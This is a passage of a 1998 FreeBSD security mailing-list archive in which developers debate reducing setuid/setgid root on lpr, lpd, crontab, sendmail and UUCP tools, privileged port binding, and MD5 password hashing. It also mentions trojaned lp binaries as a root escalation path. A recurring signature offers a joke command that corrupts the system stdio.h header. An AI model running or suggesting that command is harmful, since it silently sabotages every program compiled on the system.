ESMTP id <01IW31LT1ZKW0002Z4@gatekeeper.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 07:29:26 +1000 Received: from cbd.alcatel.com.au by cim.alcatel.com.au (PMDF V5.1-10 #U2695) with ESMTP id <01IW31LM7BI8DDYPRC@cim.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 07:29:17 +1000 Received: from gsms01.alcatel.com.au by cbd.alcatel.com.au (PMDF V5.1-7 #U2695) with ESMTP id <01IW31LNR7R4AZTSJV@cbd.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 07:29:19 +1100 Received: (from jeremyp@localhost) by gsms01.alcatel.com.au (8.8.8/8.7.3) id HAA12767 for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 07:29:17 +1000 (EST) Date: Mon, 20 Apr 1998 07:29:17 +1000 (EST) From: Peter Jeremy Subject: Re: suid/sgid programs To: freebsd-security@FreeBSD.ORG Message-id: <199804192129.HAA12767@gsms01.alcatel.com.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998 20:45:30 +0000, Niall Smart wrote: >> But if someone can break the uid that lpr runs as then they can probably >> break root anyway. >How? Well, as a starter, lp{q,r,rm} are setuid root, therefore by definition once you've broken `the uid that lpr runs as', you've broken root :-) Assuming they were setuid something else, the simplest way is with a couple of trojan lp binaries: as soon as root root prints something, you've got root access. It may also be possible to get in via lpd (which is started as root, but needs to run as `lp'. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 15:51:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA28963 for freebsd-security-outgoing; Sun, 19 Apr 1998 15:51:27 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA28941 for ; Sun, 19 Apr 1998 22:51:01 GMT (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id PAA29809; Sun, 19 Apr 1998 15:48:57 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: Penisoara Adrian cc: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Mon, 20 Apr 1998 00:38:12 +0300." Date: Sun, 19 Apr 1998 15:48:56 -0700 Message-ID: <29805.893026136@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > How can one control which kind of encryption is to be used by the > system for password encryption ? For example I want to use only MD5 I've often wondered that myself and I'll be interested to hear the answer. :) I suspect the answer is, however, "you can't do that" and that we need some sort of /etc/passwd.conf (ducks :-). > Also, another question: beeing that we plan to become an FreeBSD mirror > I'd like to know what's the status/proceeding regarding to mirroring the > DES/KRB/Crypto libraries/source code -- we are located in Romania, > Eastern Europe, so "outside USA" export restrictions apply. Just fetch it from ftp.internat.freebsd.org. Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 16:15:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA03423 for freebsd-security-outgoing; Sun, 19 Apr 1998 16:15:08 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (root@ts01-10.waterford.indigo.ie [194.125.139.73]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA03414 for ; Sun, 19 Apr 1998 23:14:57 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id AAA00447; Mon, 20 Apr 1998 00:11:17 +0100 (IST) (envelope-from rotel@ginseng.indigo.ie) From: Niall Smart Message-Id: <199804192311.AAA00447@indigo.ie> Date: Mon, 20 Apr 1998 00:11:17 +0000 In-Reply-To: Peter Jeremy "Re: suid/sgid programs" (Apr 20, 7:29am) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Peter Jeremy , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 20, 7:29am, Peter Jeremy wrote: } Subject: Re: suid/sgid programs > On Sun, 19 Apr 1998 20:45:30 +0000, Niall Smart wrote: > >> But if someone can break the uid that lpr runs as then they can probably > >> break root anyway. > >How? > > Well, as a starter, lp{q,r,rm} are setuid root, therefore by > definition once you've broken `the uid that lpr runs as', you've > broken root :-) The above discussion was in the context of lp* which weren't setuid root. > Assuming they were setuid something else, the simplest way is with a > couple of trojan lp binaries: as soon as root root prints something, > you've got root access. It may also be possible to get in via lpd > (which is started as root, but needs to run as `lp'. As Marc Slemko has just pointed out, you can use schg to prevent this, as was done with man(1). Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 16:15:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA03520 for freebsd-security-outgoing; Sun, 19 Apr 1998 16:15:33 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (root@ts01-10.waterford.indigo.ie [194.125.139.73]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA03440 for ; Sun, 19 Apr 1998 23:15:12 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id AAA00431; Mon, 20 Apr 1998 00:09:44 +0100 (IST) (envelope-from rotel@ginseng.indigo.ie) From: Niall Smart Message-Id: <199804192309.AAA00431@indigo.ie> Date: Mon, 20 Apr 1998 00:09:43 +0000 In-Reply-To: Marc Slemko "Re: suid/sgid programs" (Apr 19, 3:16pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Marc Slemko , Niall Smart Subject: Re: suid/sgid programs Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 19, 3:16pm, Marc Slemko wrote: } Subject: Re: suid/sgid programs > On Sun, 19 Apr 1998, Niall Smart wrote: > > > > But if someone can break the uid that lpr runs as then they can probably > > > break root anyway. > > > > How? > > Because they then have full access to the queue directory that lpd reads > from and lpd does run as root so it can access the files people want to > print. lpr can be setuid "lp" so that it can write to the print spool directory, it has access to the file the user wants to print because that is it's real uid. lpd can be root.wheel 770 and immediately setuid to "lp" after opening the socket. (Or you could just disable this silly priveledged socket scheme) > Also note that if you do change lpr to be setuid to another user, then you > still have to make it schg so someone who compromises it can't replace the > binary. Yes, thats a good point, but not a problem. Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 16:22:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA05408 for freebsd-security-outgoing; Sun, 19 Apr 1998 16:22:17 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA05339 for ; Sun, 19 Apr 1998 23:22:10 GMT (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id TAA04825; Sun, 19 Apr 1998 19:21:59 -0400 (EDT) Date: Sun, 19 Apr 1998 19:21:59 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Niall Smart cc: Marc Slemko , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: <199804192309.AAA00431@indigo.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Mon, 20 Apr 1998, Niall Smart wrote: > lpr can be setuid "lp" so that it can write to the print spool > directory, it has access to the file the user wants to print because > that is it's real uid. lpd can be root.wheel 770 and immediately > setuid to "lp" after opening the socket. (Or you could just disable > this silly priveledged socket scheme) In previous discussions, people have suggested adding a "sockets" group for which low port bindings are allowed. This might be implemented by using a sysctl that identifies the gid to the kernel (or something). Any program running with this in its groups would be allowed to bind low port number. This provides an immediate fix for having a bunch of daemons (and applications) running as root. Robert N Watson ---- Carnegie Mellon University http://www.cmu.edu/ Trusted Information Systems http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 16:58:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA13991 for freebsd-security-outgoing; Sun, 19 Apr 1998 16:58:18 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA13980 for ; Sun, 19 Apr 1998 23:58:08 GMT (envelope-from karl@Mars.mcs.net) Received: from Mars.mcs.net (karl@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id SAA26379; Sun, 19 Apr 1998 18:57:57 -0500 (CDT) Received: (from karl@localhost) by Mars.mcs.net (8.8.7/8.8.2) id SAA16012; Sun, 19 Apr 1998 18:57:56 -0500 (CDT) Message-ID: <19980419185756.38304@mcs.net> Date: Sun, 19 Apr 1998 18:57:56 -0500 From: Karl Denninger To: Robert Watson Cc: Niall Smart , Marc Slemko , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs References: <199804192309.AAA00431@indigo.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: ; from Robert Watson on Sun, Apr 19, 1998 at 07:21:59PM -0400 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, Apr 19, 1998 at 07:21:59PM -0400, Robert Watson wrote: > On Mon, 20 Apr 1998, Niall Smart wrote: > > > lpr can be setuid "lp" so that it can write to the print spool > > directory, it has access to the file the user wants to print because > > that is it's real uid. lpd can be root.wheel 770 and immediately > > setuid to "lp" after opening the socket. (Or you could just disable > > this silly priveledged socket scheme) > > In previous discussions, people have suggested adding a "sockets" group > for which low port bindings are allowed. This might be implemented by > using a sysctl that identifies the gid to the kernel (or something). Any > program running with this in its groups would be allowed to bind low port > number. This provides an immediate fix for having a bunch of daemons (and > applications) running as root. > > > Robert N Watson Yes, it does. However, lpd only needs root long enough to bind to the lpd port. Once that's done, it can setuid() itself to another UID. -- -- Karl Denninger (karl@MCS.Net)| MCSNet - Serving Chicagoland and Wisconsin http://www.mcs.net/ | T1's from $600 monthly / All Lines K56Flex/DOV | NEW! Corporate ISDN Prices dropped by up to 50%! Voice: [+1 312 803-MCS1 x219]| EXCLUSIVE NEW FEATURE ON ALL PERSONAL ACCOUNTS Fax: [+1 312 803-4929] | *SPAMBLOCK* Technology now included at no cost To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 17:01:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA14782 for freebsd-security-outgoing; Sun, 19 Apr 1998 17:01:26 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.alcatel.com.au (gatekeeper.alcatel.com.au [203.17.66.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA14731 for ; Mon, 20 Apr 1998 00:01:13 GMT (envelope-from Peter.Jeremy@alcatel.com.au) Received: from mfg1.cim.alcatel.com.au ([139.188.23.1]) by gatekeeper.alcatel.com.au (PMDF V5.1-7 #U2695) with ESMTP id <01IW36W3ZPKW0006RL@gatekeeper.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 10:00:31 +1000 Received: from cbd.alcatel.com.au by cim.alcatel.com.au (PMDF V5.1-10 #23324) with ESMTP id <01IW36VXYGWWC2JTZT@cim.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 10:00:24 +1000 Received: from gsms01.alcatel.com.au by cbd.alcatel.com.au (PMDF V5.1-7 #U2695) with ESMTP id <01IW36VV5BM8AZTTP5@cbd.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 10:00:19 +1100 Received: (from jeremyp@localhost) by gsms01.alcatel.com.au (8.8.8/8.7.3) id KAA16875 for freebsd-security@FreeBSD.ORG; Mon, 20 Apr 1998 10:00:17 +1000 (EST) Date: Mon, 20 Apr 1998 10:00:17 +1000 (EST) From: Peter Jeremy Subject: Re: suid/sgid programs To: freebsd-security@FreeBSD.ORG Message-id: <199804200000.KAA16875@gsms01.alcatel.com.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Mon, 20 Apr 1998 00:09:43 +0000, Niall Smart wrote: > lpd can be root.wheel 770 and immediately >setuid to "lp" after opening the socket. This means that lpd may not be able to read the user's file. Either lpr has to always copy the file to be printed (which is slow and may mean lots of spool space), or you can only print world-readable files. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 17:10:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17377 for freebsd-security-outgoing; Sun, 19 Apr 1998 17:10:02 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA17316 for ; Mon, 20 Apr 1998 00:09:48 GMT (envelope-from karl@Mars.mcs.net) Received: from Mars.mcs.net (karl@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id TAA26705; Sun, 19 Apr 1998 19:09:47 -0500 (CDT) Received: (from karl@localhost) by Mars.mcs.net (8.8.7/8.8.2) id TAA16381; Sun, 19 Apr 1998 19:09:46 -0500 (CDT) Message-ID: <19980419190946.52003@mcs.net> Date: Sun, 19 Apr 1998 19:09:46 -0500 From: Karl Denninger To: Peter Jeremy Cc: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs References: <199804200000.KAA16875@gsms01.alcatel.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: <199804200000.KAA16875@gsms01.alcatel.com.au>; from Peter Jeremy on Mon, Apr 20, 1998 at 10:00:17AM +1000 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Mon, Apr 20, 1998 at 10:00:17AM +1000, Peter Jeremy wrote: > On Mon, 20 Apr 1998 00:09:43 +0000, Niall Smart wrote: > > lpd can be root.wheel 770 and immediately > >setuid to "lp" after opening the socket. > This means that lpd may not be able to read the user's file. Either > lpr has to always copy the file to be printed (which is slow and may > mean lots of spool space), or you can only print world-readable files. > > Peter > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe security" in the body of the message Ding ding ding ding. Give that man a cigar. Look at how System V "lp" handled this. Either you make the file world-readable, or lp copied it (you had to tell it to do the second). You can bitch if the file is NOT world-readable when you attempt to queue it, of course; test for that at the time you queue the job. The consequences of not copying the file are non-obvious and burn people all the time. If you queue a file and change the contents before or during the print operation, you're going to get something other than what you expected. If you REMOVE the file, nothign gets printed at all (lpd doesn't hold the FD open, so you get screwed). I've seen plenty of people get "surprised" by this behavior. Finally, lpr is often (perhaps even primarily) used in a pipeline. In that context it has to make a copy of the data. The entire lpd suite needs help anyway. I keep threatening to write a replacement (in my own mind) as all of the ones I've seen, including plp (which is the best of them that I've run into so far) still only get it half right. Part of the problem, though is that you want to maintain backward compatibility with the old protocol for obvious reasons. -- -- Karl Denninger (karl@MCS.Net)| MCSNet - Serving Chicagoland and Wisconsin http://www.mcs.net/ | T1's from $600 monthly / All Lines K56Flex/DOV | NEW! Corporate ISDN Prices dropped by up to 50%! Voice: [+1 312 803-MCS1 x219]| EXCLUSIVE NEW FEATURE ON ALL PERSONAL ACCOUNTS Fax: [+1 312 803-4929] | *SPAMBLOCK* Technology now included at no cost To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 17:18:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA19033 for freebsd-security-outgoing; Sun, 19 Apr 1998 17:18:58 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA19028 for ; Mon, 20 Apr 1998 00:18:55 GMT (envelope-from karl@Mars.mcs.net) Received: from Mars.mcs.net (karl@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id TAA26846; Sun, 19 Apr 1998 19:18:54 -0500 (CDT) Received: (from karl@localhost) by Mars.mcs.net (8.8.7/8.8.2) id TAA16621; Sun, 19 Apr 1998 19:18:54 -0500 (CDT) Message-ID: <19980419191854.00143@mcs.net> Date: Sun, 19 Apr 1998 19:18:54 -0500 From: Karl Denninger To: Marc Slemko Cc: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs References: <19980419124742.02609@mcs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: ; from Marc Slemko on Sun, Apr 19, 1998 at 12:25:40PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, Apr 19, 1998 at 12:25:40PM -0600, Marc Slemko wrote: > On Sun, 19 Apr 1998, Karl Denninger wrote: > > > Things like "ccdconfig" simply don't need to be run as a user process. > > If someone is going to be setting up a ccd set, they are ALREADY going to > > be root! > > Erm... but if someone wants to see what ccds are configured, they don't > need to be root and shouldn't. > > Same thing with netstat, etc. Fine. Anyone who wants to do that can make them SGID kmem or as otherwise appropriate. For the vast majority this is unnecessary. (BTW, making something SGID kmem only allows READ access to kmem. Making something SUID root gives it READ and WRITE access to anything, including kernel and user memory along with all devices (assuming the securelevel is set to -1)). > > Take the permissions off these things folks. They don't need to be there, > > and exporting things like this to the user community serves, IMHO, ZERO > > purpose. > > Then your definition of zero is different than mine. Fine, then you can change your system at whim, with full knowledge of the consequences of doing so. The default should be secure from such things. > > Administrative functions should remain accessible only with administrative > > privileges. If someone wants to override that, they can SUID/SGID the > > appropriate binaries themselves. > > There is a big difference between administrative functions and letting > a user know how things are configured. What is the purpose of an *ordinary user* knowing what the ccd configuration is? Not a dba, not someone who is doing system programming, but an ordinary user? If you argue that anyone should be able to see configuration details, then the fix is easy - sgid or suid the binary as appropriate. > > I'd love to be able to get rid of permissions on the LPD commands, but > > unfortunately they really do need them. Those are the ones which, at > > present, give me the most "willies" right now. > > > > The other thing I'd like to explore is the capability of getting rid of the > > SUIDness to *root* on some of these. LPR, for example, doesn't need to be > > SUID to root - it may need to be SUID to some safe UID, but root simply > > isn't required - it attaches to a *non privileged* IP port. > > But if someone can break the uid that lpr runs as then they can probably > break root anyway. You need more work than just saying "we shall change > the uid" to make it secure. Yes, improvements are possible and the work > has already been done in various lpd replacements. But it isn't as simple > as declaring that it shall work and having it be so. That's not true if lpd binds to the port and then setuid()s itself. That's irrevocable if done correctly (no flip-flop capable). > > Same with crontab, at and batch. *CRON* needs to run as root, but crontab > > and friends DO NOT. They need to be SUID to something, but again, not root. > > But if someone can break the uid that crontab runs as, they have root > anyway. Not necessarily. There are ways around that problem. >> Sendmail and friends need to be root long enough to bind to port 25. But >> after that, they could switch to another UID and STAY THERE. Local delivery >> agents need to be SUID to root on their own, but sendmail doesn't need to run >> that way other than long enough to perform the BIND to the port. > > No, it (the way it is currently coded) needs to keep at least a saved uid > of root so that it can start refusing connections when the load gets high, > etc. Well, the way it is currently coded, perhaps. But there are other ways to skin that cat :-) > Going wild with saying "oh, this can just use some other user" is great > but it isn't as simple as saying it is the case. There are real reasons > why many things do use root and why arbitrarily creating some other user > for them doesn't add any security but just creates another user that, when > compromised, give easy root. You have to understand exactly why each > program has the privs that it currently does and fully understand the > impact of changing it. Uh, I do understand that in most cases, and in those where I don't, if/when I get around to fixing it I learn. -- -- Karl Denninger (karl@MCS.Net)| MCSNet - Serving Chicagoland and Wisconsin http://www.mcs.net/ | T1's from $600 monthly / All Lines K56Flex/DOV | NEW! Corporate ISDN Prices dropped by up to 50%! Voice: [+1 312 803-MCS1 x219]| EXCLUSIVE NEW FEATURE ON ALL PERSONAL ACCOUNTS Fax: [+1 312 803-4929] | *SPAMBLOCK* Technology now included at no cost To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 17:27:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA20986 for freebsd-security-outgoing; Sun, 19 Apr 1998 17:27:38 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA20902 for ; Mon, 20 Apr 1998 00:27:04 GMT (envelope-from marcs@znep.com) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id SAA09583; Sun, 19 Apr 1998 18:26:39 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id SAA20499; Sun, 19 Apr 1998 18:25:56 -0600 (MDT) Date: Sun, 19 Apr 1998 18:25:55 -0600 (MDT) From: Marc Slemko To: Niall Smart , Robert Watson cc: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Mon, 20 Apr 1998, Niall Smart wrote: > On Apr 19, 3:16pm, Marc Slemko wrote: > } Subject: Re: suid/sgid programs > > On Sun, 19 Apr 1998, Niall Smart wrote: > > > > > > But if someone can break the uid that lpr runs as then they can probably > > > > break root anyway. > > > > > > How? > > > > Because they then have full access to the queue directory that lpd reads > > from and lpd does run as root so it can access the files people want to > > print. > > lpr can be setuid "lp" so that it can write to the print spool > directory, it has access to the file the user wants to print because > that is it's real uid. lpd can be root.wheel 770 and immediately > setuid to "lp" after opening the socket. (Or you could just disable > this silly priveledged socket scheme) Not unless you are willing to lose "lpr -s" and the ability to print to remote printers. "this silly privileged socket scheme" may be silly but throwing it out without replacing it isn't the answer. On Sun, 19 Apr 1998, Robert Watson wrote: > On Mon, 20 Apr 1998, Niall Smart wrote: > > > lpr can be setuid "lp" so that it can write to the print spool > > directory, it has access to the file the user wants to print because > > that is it's real uid. lpd can be root.wheel 770 and immediately > > setuid to "lp" after opening the socket. (Or you could just disable > > this silly priveledged socket scheme) > > In previous discussions, people have suggested adding a "sockets" group > for which low port bindings are allowed. This might be implemented by > using a sysctl that identifies the gid to the kernel (or something). Any > program running with this in its groups would be allowed to bind low port > number. This provides an immediate fix for having a bunch of daemons (and > applications) running as root. It fixes little and, in general, opens more security holes than it fixes. While there are some valid uses for it, they are generally few and far between. First, you still have host based authentication. You may not like it, but it is still shipped with FreeBSD and used. This means that anyone getting access to low ports can do damage. On top of that, there is the problem that anyone getting access to low ports can impersonate other services. Consider, for example, a web server like Apache. If you have it started by the same user it runs as, then you can't let any users run CGIs without a wrapper. On top of that, you must trust the entire code of the server to have no security holes. Compare that to the setup right now: you only have to trust the small part that runs as root, because the rest of the code just gives access to a throwaway user if there are any holes. That is still a problem, but not the huge problem it would be if you opened up low ports. In general, being able to have a server like Apache init under one uid then run under another is useful. For example, it protects your logfiles from being altered if someone breaks into the uid that it runs as. If you want to take this one step further, it is trivial to have a wrapper program that is setuid and opens the required sockets before setuid()ing and execing the actual server. You do lose some functionality here, such as the ability to close and reopen the socket or open sockets at runtime instead of init time, but that is often acceptable. I say again: these things often aren't as simple as they appear at first glance or they would have been changed before now. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 17:35:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA23165 for freebsd-security-outgoing; Sun, 19 Apr 1998 17:35:24 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from shell.futuresouth.com (shell.futuresouth.com [198.78.58.18]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA23145 for ; Mon, 20 Apr 1998 00:35:14 GMT (envelope-from fullermd@futuresouth.com) Received: from localhost (fullermd@localhost) by shell.futuresouth.com (8.8.8/8.8.8) with SMTP id TAA12955; Sun, 19 Apr 1998 19:34:28 -0500 (CDT) Date: Sun, 19 Apr 1998 19:34:28 -0500 (CDT) From: "Matthew D. Fuller" To: "Jordan K. Hubbard" cc: Penisoara Adrian , freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-Reply-To: <29805.893026136@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Jordan K. Hubbard wrote: > > How can one control which kind of encryption is to be used by the > > system for password encryption ? For example I want to use only MD5 > > I've often wondered that myself and I'll be interested to hear the > answer. :) I suspect the answer is, however, "you can't do that" > and that we need some sort of /etc/passwd.conf (ducks :-). Good idea. Where's the diffs? *innocent* > Jordan *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * "The only reason I'm burning my candle at both ends, is * | that I haven't figured out how to light the middle yet."| * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 19:12:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA09352 for freebsd-security-outgoing; Sun, 19 Apr 1998 19:12:36 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id CAA09319 for ; Mon, 20 Apr 1998 02:12:29 GMT (envelope-from softweyr@xmission.com) Received: from slc402h.modem.xmission.com (xmission.com) [166.70.2.148] by mail.xmission.com with esmtp (Exim 1.82 #2) id 0yR64D-0007CW-00; Sun, 19 Apr 1998 20:12:21 -0600 Message-ID: <353AAFE9.9D0A61FF@xmission.com> Date: Sun, 19 Apr 1998 20:16:09 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: Marc Slemko CC: Niall Smart , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Marc Slemko wrote: > > On Sun, 19 Apr 1998, Niall Smart wrote: > > I think the point he was making was that most users don't use UUCP, and > > therefore we shouldn't be shipping UUCP related utilities with set[ug]id > > bits. Presumably if you can configure UUCP you can use chmod. > > Erm... that is an extremely poor policy. Figuring out what needs to be > setuid or setgid to what isn't trivial. I'm not sure what you are trying > to save here. What is the real issue if someone compromises the user or > group uucp? I guess that uucico, which is setgid to dialer, gives them > something. If they compromise the uucp uid then they can mess with the > uuucp binaries which someone may try to run sometime for some reason, but > I really don't see how it is enough to warrant shipping broken programs. It would probably be better to pull all of UUCP into a separate install package, so users who don't use it could simply not install it. This way, the install package could install all of the UUCP binaries with the correct permissions, and users who don't need UUCP lower their suid/sgid impact. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 19:33:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA14570 for freebsd-security-outgoing; Sun, 19 Apr 1998 19:33:26 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id CAA14561 for ; Mon, 20 Apr 1998 02:33:16 GMT (envelope-from softweyr@xmission.com) 